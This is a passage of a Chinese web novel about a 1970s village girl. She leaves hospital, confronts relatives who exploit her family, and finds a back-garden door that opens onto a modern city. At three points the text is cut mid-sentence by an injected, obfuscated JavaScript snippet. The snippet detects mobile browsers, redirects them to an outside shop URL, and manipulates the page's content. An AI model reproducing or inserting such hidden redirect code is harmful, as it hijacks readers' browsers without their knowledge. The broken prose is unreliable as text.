《我家后院通现代[七零]》 1. 出院的日子 赵小芸把医院的床铺整理平展，被子叠整齐。 今天是她出院的日子。 “小芸！你这闺女，脑袋上带着那么大个洞，不坐着好好休息，咋还干活儿呢？快放着让妈来。”陈翠芳刚回到病房门口，就看见赵小芸像只小蜜蜂一样忙来忙去，赶紧过来把她按在床上坐下。 “妈，没那么夸张，我的伤都好差不多。”赵小芸下意识抬手去摸脑袋。 陈翠芳一巴掌给她拍下来：“又忘了？医生说过不许摸伤口，会那什么……发盐巴？” “妈，医生说的是感染发炎。”赵小芸记性好，医生说过的话她都能记住。 “别管发什么盐，你别不把自个儿脑袋当回事，那么大个洞，流那么多血……”陈翠芳心疼得说不下去，要不是送医院及时，当时又正好有个特别厉害的医生来支援教学，闺女怕不是要丢命。 赵小芸瞧着妈的情绪不对，连忙转移话题：“妈，退院手续都办妥了吗？” “办妥了。”陈翠芳擦了擦眼睛，把搪瓷缸、暖水瓶等东西都装好。 收拾完又检查了一遍，怕有东西落下。 村里距离省城医院远，来一趟不容易。 要是落下东西，不值当跑一趟，可不跑一趟，没了东西她要心疼死。 母女俩拎着大包小包出了医院。 从医院出来，过去路对面，走两步路就能坐公共汽车。 等车的时候，陈翠芳说：“你爸腿伤还没好利索，我就没让他过来一块接你，不过你爸托了你大堂哥，让他骑自行车去县城接咱们。” 公共汽车最多就只能坐到县城。 从县城到她们桥头村，还有三四十公里的路。 赵小芸脑袋上有伤，可不能劳累。 母女俩等了快一个钟头，才等来她们要坐的106路公共汽车。 车一停，一堆人涌下来，又一堆人挤上去。 公共汽车就像是罐头盒子，里面挤得连下脚地儿都没有。 陈翠芳护着赵小芸，大声叫嚷：“我闺女身上有伤，别挤着她。” 人太多，陈翠芳嗓子都喊劈叉了也没用。 车里塞到塞不下人，才晃悠悠地开走。 车里人多，汗臭味儿、皮子发酵出的酸腐味儿混在一起，仿佛放了一枚毒气弹。 赵小芸脑袋上有伤，车子开得又颠簸，没一会儿她就开始难受。 度日如年地忍到下车，赵小芸冲到路边就吐了起来。 肚子里没东西，只吐出来了一些酸水，吐得她头晕脚软。 陈翠芳赶紧拿出水壶：“喝点儿水漱漱口，咱们先去国营饭店吃饭，正好和你大堂哥约在了国营饭店门口，吃完再回家。” 赵小芸接过水壶，漱了漱口：“妈，去啥国营饭店，咱们这马上就能到家了，等回家做热乎饭吃。” 她这次受伤住院，花了足足七八十块钱，家底都被掏空了，再吃国营饭店，往后不过日子了呀！ “等到家还得好几个小时呢，放心，妈带了钱和票，够你吃的。”陈翠芳不由分说，拉着赵小芸往国营饭店的方向走。 赵小芸被拖着走，脚下踉跄，哎哎喊了两声：“妈我不是这个意思……” 她明明说的要省钱。 陈翠芳噗嗤笑了：“妈逗你呢！好了，妈也不糊弄你，咱家现在确实没啥钱了，但也不至于连顿饭都吃不起，放心吧！家里有我跟你爸撑着，垮不了。” 赵小芸抱住陈翠芳的胳膊，微微扬起小脸，一副撒娇的娇憨模样：“那是，妈跟爸都那么厉害，肯定不会让我饿肚子，以后我可就指着爸妈养活呢。” 陈翠芳：“爸妈可养不了你一辈子，等将来你嫁人，就要去婆家生活咯。” 赵小芸撇嘴：“我才不嫁人，我就喜欢陪着你和爸过日子。” “女孩儿家哪能不嫁人，你要在家当一辈子老姑娘啊！”陈翠芳觉得好笑。 不过看着自家闺女一脸不谙世事的天真，她心里冒出丝丝惆怅，小芸今年都十七岁了，再过两年就该嫁人了，可还像个孩子，这个样子咋找婆家哟。 到了国营饭店，这个时候正是吃饭点，来吃饭的人多，已经排起了长队。 赵小芸咂舌：“国营饭店的饭菜那么贵，竟然有这么多人来吃？” 她没来国营饭店吃过，知道价钱贵，也只是听说的，说是在这里吃一顿饭，要花好几块钱。 陈翠芳也被这么多人惊呆了：“可不是，这要是跟村里人说，肯定没人相信。” 母女俩对视一眼，从对方眼睛里看见自己的呆样，突然憋不住笑了起来。 最后两人要了一碗肉丝面，花费二角五分钱，并□□票加一两肉票。 满满一大碗肉丝面，面条是精细白面做的，劲道十足。 肉丝是酱香肉丝的做法，酱褐色的肉丝铺在白面条上，看着充满食欲，闻着更香，还没吃，就让人流口水。 赵小芸去找营业员，想多要一个空碗，糟了对方一个大大的白眼：“你当这是你家啊！买一碗饭，就只能给一个碗。去去去！别站这里耽误其他人。” 赵小芸讪讪离开，回座位上坐下，耷拉着嘴角：“不给就不给嘛，这么凶干啥。” “算了，快坐下吃面吧，等会儿面泡坨了就不好吃了。”陈翠芳把面碗往赵小芸跟前推了推。 母女俩分吃完了一碗面，从国营饭店里出来，站在门口等赵小芸的大堂哥。 等了两个多小时，一个骑自行车的男青年停在母女两人面前，正是赵小芸的大堂哥赵大满。 赵大满满头大汗地从自行车上下来：“二婶，小芸，等急了吧？实在对不住，半路上有事儿耽搁了，你看这整的，咋就这么赶巧今儿个撞上事儿了。” “行了，时间不早了，赶紧回家，再耽搁下去天都黑了。”陈翠芳心里有气，说话就不客气。 赵大满本来因为自己来晚，对二婶和堂妹愧疚，但一听二婶说这种埋怨他的话，顿时变了脸色。 本来就是求他帮忙，竟然还挑三拣四，冲他发脾气！ 自行车一次带不了两个大人，本来计划好的，赵大满跑两趟，把两人接回去。 可现在他来得太晚，第二趟回去路上天都黑透了，夜路不好走，不安全。 最后，母女俩商量好，赵大满带着赵小芸，先把她送回去。 陈翠芳今天去招待所住一晚，明天赵大满再跑一趟来接人。 临走前，赵小芸千叮咛万嘱咐：“妈，你可不能为了省钱，不去招待所住，外面可不安全。再说，现在天虽然暖和，晚上还是有点儿冷的，在外面冻一晚上，很容易感冒。” “放心，妈晓得。” “二婶，我们走了。”赵大满打了声招呼，蹬着自行车就蹿了出去。 赵小芸追过去。 陈翠芳在后面挥手喊道：“你们路上小心点儿，别摔了。” 赵大满骑自行车还不是很熟练，他骑着先走起来，等车平稳了，赵小芸再跑着跳上后座。 赵大满心里有气，就故意把自行车蹬得飞快。 赵小芸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283915|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在后面追得特别辛苦。 她可是脑袋磕石头上破了洞，才刚出院，虽然嘴上对妈说没事，但其实身体还很虚弱。 “大满哥你慢点儿，我跟不上。”赵小芸跑得喘气，头有些晕。 “你快点儿，我骑的不熟练，趁我稳住了赶紧坐上来。”赵大满把气撒到赵小芸身上，心里畅快了不少。 什么玩意儿！赵小芸看着前面轻松骑车的背影，听出了他自以为隐藏很好的幸灾乐祸。 好不容易追上去，赵小芸坐在自行车后座上，喘匀了气之后，笑着说：“大满哥怎么这么笨呀，自行车都买回来三个多月了，还骑得这么差，等娶嫂子那天，可千万别把嫂子摔沟里了。” “我听说，嫂子家里人可宝贝她了，养的气性特别大，要是大满哥把嫂子摔沟里，惹嫂子生气，万一嫂子不愿意嫁给你就不好啦。” 赵大满黑了脸：“你这死丫头，怎么这么不会说话，我可是你大堂哥，好心好意这么辛苦跑来县城接你和二婶回家，你就这么咒大堂哥？” “真是好心没好报，我就不该来接你们，好心还帮出仇来了，没良心！” 赵小芸也冷下脸：“自行车票是我爸找关系托人情弄来的，买自行车的钱，我家补贴进去五十块钱，爷和奶补贴的钱也都是我爸给的，没有我爸妈，你哪儿来的自行车？” “这自行车本来就应该是我家的，本来就不用请你帮忙！”赵小芸加重“请”这个字的读音。 “是我爸老好人，念着你要娶媳妇，对方要求有自行车才愿意嫁给你，才出力出票又出钱买来一辆自行车。” “可没想到，我家现在要用自行车，还得对你三催四请？你怎么这么没良心！”赵小芸把赵大满的话给他堵回去。 赵大满理亏，不敢吭声。 赵小芸冷笑，继续说道：“今天是我爸、你的长辈给你说好了，让你来接我和我妈，你也同意了，可你却让我和我妈等了那么久！你这人可真没信用。” “还有，你不知道我刚出院，身体受不了累吗？你故意把车骑那么快，让我在后面追着跑。” “你不知道我妈才怀孕，不能动气不能劳累吗？让我妈白白多等几个小时，约好的事儿你临时变卦说有事，你有什么事儿，说出来听听？” “哪有非得今天要办的急事儿，就是借口！你心里都明白，可你根本不把我们当回事，你根本没把我们当亲人看。” “你们占我家便宜太多太习惯，都忘了自己在占便宜了吧？” “大满哥，我爸妈都是宁愿吃亏性子的人，但他们不计较，不代表你们就能心安理得地吸我家血，还欺负我们，做人不能这么无耻！” 赵小芸一口气发泄完，胸口起伏得厉害。 这些话她早就想说了，只是以前一直顾忌着是亲戚，天天抬头不见低头见，要是把关系闹僵了，脸上不好看。 可自从爸受伤从部队里退回来，要养一大家子，再加上妈又怀孕，需要营养品补身体，就说暂时不能给家里公用。 谁知道这一下子像是捅了马蜂窝，大伯大娘、三叔三婶、四叔四婶，竟然都闹了起来。 三叔家的堂弟，还故意推她。 她的头磕在石头上，流了好多血，差点儿没救回来。 经过这一遭，她是真的不想再忍，也不想再吃亏了。 她算是看明白了，她家再掏心掏肺地对那些人，人家也不领情，还觉得是理所当然。 以前有便宜占，往后没了，就是他们吃亏，也不知道是什么狗屁逻辑。 2. 一扇门 赵大满被赵小芸这一通话说的理亏，再不敢吭声。 回到桥头村的时候，太阳已经快落山，天上布满艳丽的晚霞，如同一幅浓墨重彩的油画。 进村路上，赵小芸碰见了从地里回村的一群人。 他们拉着三辆架子车，车上的麦子堆垛得高高的，比车的体积要大三四倍，瞧着好像随时要把车压垮似的。 赵小芸看见最后一辆架子车旁，扶着车走路一瘸一拐的人，不正是她爸吗？ “爸！” 赵卫国回头，看见自家亲闺女，一脸惊喜：“小芸，你回来了！” 他瘸着腿往这边走，因为走太急，还绊了下脚，差点儿摔倒。 赵小芸从自行车后座跳下去，风一样的速度冲到赵卫国面前，劈手夺过他手里的镰刀扔到地上：“爸！谁让你下地干活的？你怎么能下地干活！你腿上的伤还没好，你不要腿了吗？” 说着，赵小芸的眼泪吧嗒吧嗒掉下来。 她这几句话本要吼出来的，但情绪过于激动之下，声音反而堵在嗓子里，闷闷的，气势威力全无。 赵卫国脸上的笑僵住：“闺、闺女，你别哭啊！爸没事，伤都好了，真的，别哭了。” 赵卫国整个人都慌了，抖着手去给赵小芸擦眼泪，瞅见自己袖子上全是土，又赶紧收回来。 他不会哄孩子，急的冒了一头汗。 眼睛左瞟右看，看见大侄子赵大满，眼睛一亮：“大满，你二婶送回家了吧？” 赵大满尴尬地笑笑，不敢回话。 赵卫国拉住赵小芸：“小芸，走走走，咱们回家，你妈肯定已经做好饭，正等着咱们回去吃饭呢。 “你从省医院回来，累了一天，早都饿坏了吧？” 赵卫国又扭头给人群里的吴小组长打招呼：“吴组长，我闺女刚从医院回来，我就不去仓库送粮食了，先陪我闺女回家，你看这？” “没事儿没事儿，你赶紧回吧，本来也没要你一块儿下地割麦子的。”吴组长顺便也是给赵小芸解释。 赵卫国是为国受伤，就算因伤退役了，也是光荣的，可不能让家属误会他们当干部的，虐待有功之臣。 “小芸的伤没事儿了吧？”吴组长又关心了一句赵小芸。 赵小芸擦了一把眼泪：“谢谢吴叔叔，我没事了。” 其实医生叮嘱过，近期不能劳累，最好多卧床休息，多吃些有营养的食物补身体。 父女俩一起回家。 赵小芸心情不好，一脚踢飞地上的石子：“爸，谁逼你下地干活的？” 赵卫国讪讪一笑：“没谁，我自己去的。这不，地里粮食正抢收，村里谁在家待着啊，早点儿收完粮食，交上公粮，家家户户也能早分到粮食。” 赵小芸冷哼，根本没信赵卫国的话：“逼着你下地干活儿的，肯定就是我大伯、三叔、四叔、爷奶他们，为了这几个工分有你的腿重要吗？ “爸你也是，自己的腿自己都不上心，就任由他们欺负，咱们家吃的亏还不够吗？” 赵卫国脸上的笑变得更尴尬，觉得自家闺女伤过脑袋后，气性变大了不少。 不敢对上正冒火的闺女，赵卫国回头喊赵大满分担压力：“大满，隔那么远干啥，过来一起走。” 赵大满浑身的皮一紧，他躲这么远就是怕赵小芸注意到自己：“不！不用了，二叔，我先走一步了。” 刚才赵小芸说话完全没顾忌，跟狼吼似的，他在后面听了个清清楚楚，这会儿哪敢上去触霉头，骑上自行车，嗖地从旁边飞快冲过去。 “哎！大满？”赵卫国抬手冲着赵大满后背，眼见他骑着自行车一溜烟就跑远了，“嘿，这孩子咋回事？” “咋回事？亏心呗！”赵小芸翻了个白眼，“今天他来接我跟妈，我和妈都在国营饭店吃完饭，又等了他两个多小时，他才过去！说是路上有事耽搁了，也不知道是真是假。 “反正时间太晚，没办法跑第二趟把我和妈都接回来，我跟妈就商量了下，先送我回来，妈在县城招待所住一晚，明天再接我妈回来。” 赵卫国的脸色瞬间冷了下来，平时他对着自家人都很软和，瞧着憨厚无害，但毕竟是经受过严苛训练的军人，这么一板着脸，气势顿时就显现出来了。 对亲人，赵卫国一向宽容。 他在部队，常年不在家，家里兄弟姐妹帮忙照顾妻子儿女。 所以对待这些亲人，哪怕自己吃亏也无所谓。 还主动给他们诸多补贴，就是想让他们多帮衬点儿，让自己的妻子儿女在家日子过好点儿。 没受伤退役前，他每个月都往家里寄钱，大哥弟弟爸妈他们，对自己家也的确挺照顾。 可没想到，他因伤退役，组织上给他安排的工作眼下还没着落。 他现在没工资来源，又要养家，就说暂时不给家里公用了。 这句话出来，一大家子全跑到他跟前大闹起来。 现在就是让大侄子帮忙接个人，竟然还没办好！ 事情接二连三，赵卫国是真的动了怒，这些人已经触到他的底线。 赵小芸看了一眼气得脸色铁青的赵卫国：“爸，自行车咱们要过来吧，自行车票和买车的大部分钱都是咱家出的，白白把车送出去，咱们还不得好，图什么？” 赵卫国想了一会儿，摇头：“算了，你大满哥快结婚了，这自行车他肯定不会还。总归是一家人，不能为了一辆自行车，最后闹成仇人，不值当。” 赵小芸觉得心里憋屈，但爸都这么说了，她也就只能先算了。 …… 回到家，赵小芸在院子里打眼一扫，没看见弟弟妹妹：“爸，小宇和玲玲去哪儿了？” “小宇打猪草去了，玲玲跟着队里的人去地里捡麦穗。”赵卫国从水缸舀了几瓢水倒进盆里，边洗手说道，“小芸，你先休息会儿，爸去做饭。” 赵小芸莫名其妙：“爸，你做什么饭？咱家今天要单独开火吗？” 她以为自己今天刚出院，爸要单独开火给自己做好吃的，就说道：“爸，我今天中午和妈在国营饭店吃了肉丝面，算是给我庆祝出院，晚饭您就别再为我折腾了，去爷爷奶奶那边吃就行。” 他们家现在没和爷爷奶奶、大伯以及几个叔叔住一起，但分房不分家，所以还和一大家子一起吃大锅饭。 他们分出来，是因为大满哥马上要结婚了，要给大满哥腾出新房来，家里的房子不够住，只能往外分。 爷爷奶奶说家里钱不多，分出来的人只能补贴十块钱。 十块钱能盖什么房子？ 谁都不愿意吃亏，谁都不想分出来。 最后商量来商量去，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283916|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 致决定让赵小芸一家分出去。 还说赵卫国有津贴，有钱盖新房子。 劝他说一家人住进宽敞明亮的新房，不比挤在一个老屋里舒坦？ 那会儿，赵卫国还没受伤，没退役。 赵卫国最终同意分出来，陈翠芳也没说什么，虽说分出来要自己花钱盖房子，但不用跟妯娌打那么多交道，的确更自在舒服。 不过分出来后，陈翠芳没让盖新房子，而是找上村里的书记员和村委会主任，花二十五块钱，买下村里荒废许久的一个破院子。 赵小芸一家人就这么分了出来。 但分房不分家，他们一家不单独开火做饭，还是过去和其他人一起吃。 赵小芸心里门儿清，大伯和几个叔叔嘴里喊着不分家，不是因为看重亲情，是看重她爸每个月交到爷爷奶奶手里的公用钱。 “小芸，咱家以后就、就不过去吃了。”赵卫国都难以启齿，小心看着赵小芸，生怕闺女发怒，飞快地找补解释，“咱们家的粮食分出来了，以后咱们自己开火做饭，想吃什么就做什么，爸做饭的手艺还是不错的，以后你们想吃啥，爸给你们做。” “分出来了？”赵小芸简直不敢置信，“爸！爷爷奶奶他们没说什么吗？他们也同意你分出来？ “大伯三叔四叔他们，就真的一点儿亲情都不念，在你受伤退役，腿伤还没好，在我磕破脑袋，在医院住院治病掏空家底，在我妈才刚怀孕的时候，把咱们一家人都赶出来？ “他们还是不是人啊！” 赵小芸一肚子火气，气到极致，反倒把自己眼睛气红，眼泪不争气地掉了出来。 顿时觉得憋屈又暴躁，她一点儿都不想哭，只想打人，可为什么眼泪就是控制不住？ 她怎么就这么软弱，老是动不动就掉眼泪！ 怎么改也改不掉，赵小芸真是烦死这样的自己了。 赵卫国一看闺女哭了，可不得了：“小芸，没事没事，有爸呢，以后爸一定让咱家过上好日子。 “真的，爸不诓你，爸从部队上退下来，领导亲口给我承诺的，说给我安排一个好工作，以后爸能赚更多工资，带咱们全家去国营饭店吃饭。 “以后爸还能天天陪着你们，这是好事儿啊！别哭了闺女，好吗？” 赵小芸也不想让爸担心为难，况且这是那些冷血亲戚的错，她不能把气撒自己爸身上，虽然刚才她也不是冲着爸撒气，但爸看见自己哭会难受。 赵小芸擦干净眼泪：“爸，我信你，咱们家以后一定会过上好日子的，让大伯三叔四叔他们羡慕死！ “爸，你腿伤还没好，坐下歇着吧，我去做饭。” 赵小芸见赵卫国要说话，赶紧先一步堵住他：“爸，你腿伤要是好不了，或者留下什么后遗症，以后咋工作赚钱让咱家过上好日子呀？” 赵小芸说完还笑了笑。 赵卫国见闺女看着似乎真没事了，心里松了口气：“那行，爸就先坐着歇歇。” “我去后院掐把菜。”赵小芸转身去后院。 后院的菜水灵灵的，都是陈翠芳打理的，她种地种菜是一把好手。 赵小芸站在后院，隔着一片菜地，呆呆地看着突兀竖在豆角架旁边的一扇门。 “咋把一扇门竖这里？”赵小芸只觉纳闷，走过去轻轻推了下那扇门。 3. 陌生世界 门吱呀一声开了，赵小芸眼前一黑，顿觉天旋地转，脑浆仿佛都晃成脑花，忍不住弯腰干呕。 幸好这种不舒服转瞬即逝，赵小芸很快缓过来，下意识抬头，猝不及防对上一片杂草丛生的陌生院子。 “这是哪里？”赵小芸瞪大眼睛，诡异的现状滋生恐惧，心脏扑通扑通跳，一时间慌的不行。 赵小芸慌乱地回头看，看见的不是自家菜园子，而是一间略显空荡的屋子。 见、见鬼了？ 赵小芸打了个哆嗦，再扭过头看着半开的门，恍惚了一下，突然生出一种说不清道不明的感觉。 她跨过这道门，转过身，把门重新关上，又试探地，缓缓把门推开。 熟悉的菜园子出现在眼前，红彤彤的番茄，绿油油的小青菜，都长得特别好。 赵小芸热泪盈眶，再看这扇打开的诡异的门，迅速用力把它关上，逃一样远离原地。 “爸！爸！”赵小芸跑回前院，一脸惊魂未定，“爸，菜园子里的门你知道是怎么回事吗？” 赵卫国满脸莫名其妙：“什么门？” “就那个门啊！一扇门，在豆角架子旁边那扇门！”赵小芸急切地解释。 “豆角架？那里没有什么门啊！”赵卫国站起身，“你先别慌，我去看看。” 赵小芸扶着赵卫国去后院菜园子。 菜园子并不大，赵卫国一眼看清所有角落：“小芸，你的说门在哪儿？” 赵小芸看着凭空竖立在地上，明晃晃、十分显眼的一扇门，再看看疑惑茫然的亲爸，她意识到，爸看不见这扇门。 “可能是我刚才眼花，看错了。”赵小芸又看了一眼那扇门，垂眸收回视线，满肚子疑问。 赵小芸扶着赵卫国回去，自己又折回菜园子摘菜。 虽然害怕，但还是忍不住去瞥那扇门。 匆忙摘了一把青菜，两根辣椒，还有几根拖在地上，长得形状歪歪扭扭的黄瓜，回灶房里做饭。 没多久，灶房里冒出袅袅炊烟。 赵晨宇和赵晨玲从外面回来，看见坐在院子里的赵卫国，齐齐喊了声“爸爸”。 两人是龙凤胎，今年刚刚十岁。 “小宇、玲玲回来了？”赵小芸从厨房里出来，“快洗洗手吃饭。” “姐！姐你回来啦！” 赵晨宇和赵晨玲欢呼起来，朝着赵小芸跑过去。 赵晨宇性格稳重，还有些矜持，跑到赵小芸跟前就停住了，眼睛亮亮地看着她。 赵晨玲活泼外向，扑到赵小芸身上，扬起小脸：“姐，你的伤好了吗？” 赵小芸揉揉妹妹的头：“已经好了。” “太好了，那姐姐你以后不用再去医院了吧？”赵晨玲蹭着赵小芸，真好，姐姐回来了，小胖子骗她，说姐姐死了，真是太坏了。 赵小芸笑着摸摸妹妹的辫子：“好了，别撒娇了，快去洗手吃饭，今天有玉米面饼子。” “哇！玉米面饼子！” 两人赶紧跑去洗手，洗完回来帮忙把饭菜端进堂屋。 兄妹俩在饭桌上没见到妈妈，捏着筷子没动。 “姐，妈去哪儿了？”赵晨玲问道，赵晨宇也看向赵小芸，一脸询问的表情。 “妈在县城招待所住一晚，我们回来的太晚了，夜路不好走，妈明天早上就回来。”赵小芸解释道。 兄妹俩点点头，这才赶紧吃饭。 吃过晚饭，赵晨宇和赵晨玲兄妹俩抢着刷锅洗碗，赵小芸把家里打扫一遍，整理杂物。 赵小芸把柜子里的粮食清点了一遍，回头问道：“爸，咱们分家分出来的粮食都在这里了吗？” 赵卫国就坐在门口，伸着脑袋往屋里瞅了一眼：“厨房里还有四十多斤红薯，其他的都在这儿了……咋了闺女？那什么，粮食是按人头分的。” 赵小芸瞥看一眼表情忐忑的赵卫国，收回视线，语气平静道：“没什么。” 看着柜子里的粮食，赵小芸气得咬紧牙齿，总共才十几斤玉米面，玉米大概有三十斤，再加上厨房里的四十多斤红薯，这点儿粮食能吃几天？ 明知道她妈又怀了娃，竟然一点儿精细粮都没给，简直欺人太甚！ 赵卫国见赵小芸蹲在柜子前好一会儿都不动，心颤道：“小芸？闺女你是不是生气了？” 赵小芸深呼吸一口气：“我没有，就是在算着咱们这些粮食能吃几天，够不够撑到大队里分粮那天。” 原来是担心这个，赵卫国没听出赵小芸的异样，松了口气：“这个你放心，爸手里还有几张粮票，过几天爸去买一些。” 粮票是他在部队里时攒下来的，以前的粮票除了给媳妇，剩下的一半都会上交公用，这次回来已经退役，自己又因为腿伤暂时干不了什么重活，家里情况也不好，就都留在了自己手里。 赵小芸把柜子门关上，一张小脸板起来，表情十分不善，反正背对赵卫国，他也看不见。 …… 晚上赵小芸躺床上睡觉，翻来覆去睡不着。 家里剩的这些粮食，全家勒紧裤腰带，饿不死的情况下，满打满算撑半个月就顶天了。 大队分粮食怎么着也得一个月之后，这还是快的，稍微拖拉一下，就又得往后延三五十天，甚至半个月，一个月都说不准。 没粮的这段时间咋过？ 买粮食也不是长久之计，粮票是有限的。 爸的工作不知道啥时候能落实，但是就算落实工作，也得干满一个月后才能拿工资。 不过现在没落实也正好，爸的腿伤还没好，真要现在落实下来工作，爸也不能马上去。 工作岗位可不等人，爸要是不能马上去上岗，就会安排给其他人。 以爸那脾气，再加上家里现在的难处，爸就算拖着腿伤，肯定也要去上岗。 可这样，爸的腿肯定要留下后遗症，往后还不知道要受多少病痛折磨。 该咋解决家里眼下的困难？ 赵小芸突然想到后院菜园子里的那扇门，那扇门好奇怪，能把她瞬间带去另一个地方。 虽然当时很害怕，也没敢仔细观察那个地方，但是就看的那么几眼，也看到那房子很好，屋里还有打眼一瞧就觉得特别阔气的家具。 赵小芸突然激动起来，如果…… “姐姐，你睡不着吗？”赵晨玲打着哈欠问，姐姐一直在翻身，她突然瞪大眼睛，在黑暗里盯着赵小芸后背，“姐姐，你是不是头还疼？” “姐的头不疼，就是不困，这会儿睡不着。玲玲，是姐姐打扰到你了吗？”赵小芸赶紧不动了。 “也没有，姐姐你头不疼就好，我就放心了。”赵晨玲小大人地说道。 赵小芸坐起来穿衣服：“玲玲，你先睡吧，姐姐去院子里转转。” 赵小芸穿好衣服下床，摸黑出了屋子。 在院子里转了好几圈才停下来，看向后院菜园子方向，深呼吸几口气，眼神坚定，毅然决然地走过去。 赵小芸穿过菜园子，再一次站到这扇奇怪的门前，手控制不住地颤抖，然后豁出去往前推开门。 熟悉的不适眩晕席卷全身，一瞬间，赵小芸就看到眼前景象彻底变了样，是傍晚时看到的那个杂草丛生的陌生院子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283917|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 赵小芸回头看了眼黑漆漆的屋子，这栋房子明显许久没住人了，空气中飘着一股霉味儿，也不知道是谁家。 虽然主人没在家，赵小芸也不能乱闯人家屋子，抬脚跨出门，好好地关上。 院子里大半都是水泥铺地，水泥地时间久了，有些地方崩裂，下面有杂草从裂缝里供出来。 赵小芸蹲下去用手摸了摸地面，眼中闪过奇异的光：“这是啥材料铺的地，又结实又平整。” 一股幽幽的桂花香飘在空气里，赵小芸起身，扭头四下寻摸，看见坚硬地面之外的土地里，杂草丛中顽强地生长着一株桂花树。 忽略那些杂草，这真的是个顶漂亮的院子。 赵小芸穿过院子，走到朱红色的铁大门后。 大门从外面上锁，赵小芸找到地上插门的地栓拔.出来，两扇门能拉开一条窄缝，她身体瘦，勉强能从缝里挤出去。 外面是一条巷子，说是巷子也不准确，因为这条路挺宽的。 赵小芸抬头四处张望，瞳孔骤缩：“好亮啊！那、那是啥？” 远方，一栋栋高楼林立，楼墙外霓虹灯闪烁，楼里面住户家家户户开着灯，照亮了一方方窗户。 赵小芸看呆了，情不自禁朝着亮灯的大楼方向走。 拨开杂草，走了没几米远，就撞上了护栏网。 “哎哟！”赵小芸捂着额头倒退，定睛一看，一道铁丝网拦在前面，左右延伸向黑暗里。 赵小芸出来的这户人家，是这条巷子里的最后一户。 房子西边有一小片荒地，护栏网拦截在整片荒地上。 跨过护栏网另一边，没多远便是公路，再远，就是灯光明亮热闹的住宅小区。 赵小芸用眼睛丈量护栏网的高度，再看顶端锋利尖锐的铁丝，摇摇头，自己怕是翻不过去，一个不小心，就会被上面的铁丝钩下一块肉。 再说了，护栏网的对面，是一条沟，她要是摔下去，保不准就把腿摔折。 赵小芸转身走回巷子里，从另一头找出路。 赵小芸走在巷子路上，摸了摸地面，惊讶地张了张嘴：“这、这地面竟然是用砖头铺的路！” 这么长、这么宽的一条巷路，竟然全是用砖头铺的？ 这也太奢侈了吧！ 赵小芸捂住扑通扑通跳的心脏，继续往前走，边走边仔细观察。 整条巷子里，家家户户大门外都上着锁。 一直走到巷子口，才见一两户人家家里有人，里面亮着灯，特别亮。 赵小芸在这户人家门外驻足多看了两眼：“这家人可真有钱，竟然通电了！这啥灯泡呀，可真亮！” 她在医院住院时，见过医院的灯泡，昏黄色的灯光，让她觉得很神奇很亮眼。 当时她就想，电灯可真是不可思议的东西。 没想到，这户人家用的灯泡，比省城医院的还好还亮！ 前面就是巷子出口，赵小芸正准备走出去，突然，刺眼的亮光闪过，嗡嗡的声音由远及近，一辆摩托车呼啸而过。 赵小芸吓得赶紧往后退了几步，看着远去的摩托车，惊魂未定：“那是啥车？” 两个轮的，但肯定不是自行车，它可比自行车跑得快多了。 赵小芸沿着这条宽阔的路走。 路面比刚才巷子里的砖头路更平、更结实，与她从门里出来的那户人家院子里的路也不一样。 赵小芸贴着路边走，恍惚地来回看：“这里到底是个啥地方啊？” 走到尽头的十字路口，喧闹声仿佛从被封印的另一个世界里呼啸着迎面冲来。 4. 美食街 滴滴！ 喇叭声乱窜。 小轿车、电动车飞驰而过。 路口人行道上的红绿灯由红变绿，乌泱泱的一片人从路两头同时起步，交错而过。 身边是一根灯柱，赵小芸抬头顺着灯柱往上看，路灯亮的差点儿晃瞎眼。 路边的树上，挂着彩色的小灯泡。 路两旁的门店，亮着各色灯牌。 灯火通明，明明该是黑夜，这里却宛如白昼。 赵小芸看着脸上带笑、轻松欢乐的路人，耳边的喧闹声自始至终从未停过。 她忍不住抬头看天空，确认现在是不是真的是晚上。 赵小芸呆呆地看着眼前的一切，脑子里一团浆糊，心惊肉跳。 ——这都是啥啊！这是哪儿啊？ 赵小芸用力吸了一下鼻子，吸入一股从未闻过的食物的味道，更呆了：“好、好香啊！” 十字路口对面的一条街，明显比其他地方更热闹，香味儿也是从那里飘过来的。 赵小芸忍不住往那边走。 虽然才吃过晚饭没多久，但为了省粮食，晚饭做的不多，而且清汤寡水的，她又正在长身体，吃下去的那碗饭早就消化没了。 赵小芸刚走出两步，就被人扯住了衣服。 “姐姐，不能闯红灯。” 赵小芸回头，看见一个穿着飘飘的粉蓝色裙子、像小仙女一样的女孩子拉着自己衣角，小脸严肃地说道：“姐姐，闯红灯是不对的。” 赵小芸愣住，闯红灯是啥？ 小女孩儿的妈妈赶紧拉回自己女儿，对着赵小芸赔了个笑脸：“不好意思，我家女儿还小，没恶意的。” 